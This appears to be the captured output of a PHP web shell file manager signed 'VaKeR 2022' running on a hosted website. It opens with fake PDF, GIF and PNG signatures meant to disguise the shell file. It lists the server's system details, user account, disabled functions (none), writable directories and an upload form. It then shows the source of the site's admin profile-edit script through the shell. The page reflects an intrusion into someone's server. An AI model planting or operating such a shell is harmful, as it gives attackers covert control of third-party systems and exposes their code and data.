%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_6ca89795/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_6ca89795/admin/profileedituser.php
<?php
session_start();
if (!isset($_SESSION["username"])) {
    header('Location: ../admin.php');
    exit();
}

include('header.php');
include '../dbcon.php';

if (!isset($_GET['id']) || !is_numeric($_GET['id'])) {
    die("Invalid ID provided.");
}

$id = intval($_GET['id']);

$stmt = $conn->prepare("SELECT * FROM user WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();

if (!$row) {
    die("User not found.");
}

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $username = trim(htmlspecialchars($_POST['username']));
    $email = trim(htmlspecialchars($_POST['email']));

    $updateStmt = $conn->prepare("UPDATE user SET username = ?, email = ? WHERE id = ?");
    $updateStmt->bind_param("ssi", $username, $email, $id);

    if ($updateStmt->execute()) {
        echo "<script>
        alert('Profile user Detail Updated successfully');
        window.location.href = 'profileuser.php';
    </script>";
        exit();
    } else {
        echo "<script>alert('Update failed. Please try again.');</script>";
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Edit Profile</title>
   
</head>
<body>
    <div class="container mt-5">
        <div class="card shadow p-4">
            <h2 class="mb-4">Edit Profile</h2>
            <form method="post">
                <div class="mb-3">
                    <label class="form-label">Username</label>
                    <input type="text" name="username" class="form-control" value="<?= htmlspecialchars($row['username']) ?>" required>
                </div>
                <div class="mb-3">
                    <label class="form-label">Email</label>
                    <input type="email" name="email" class="form-control" value="<?= htmlspecialchars($row['email']) ?>" required>
                </div>
                <button type="submit" class="btn btn-primary">Update</button>
                <a href="marketinguser.php" class="btn btn-secondary">Cancel</a>
            </form>
        </div>
    </div>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>

VaKeR 2022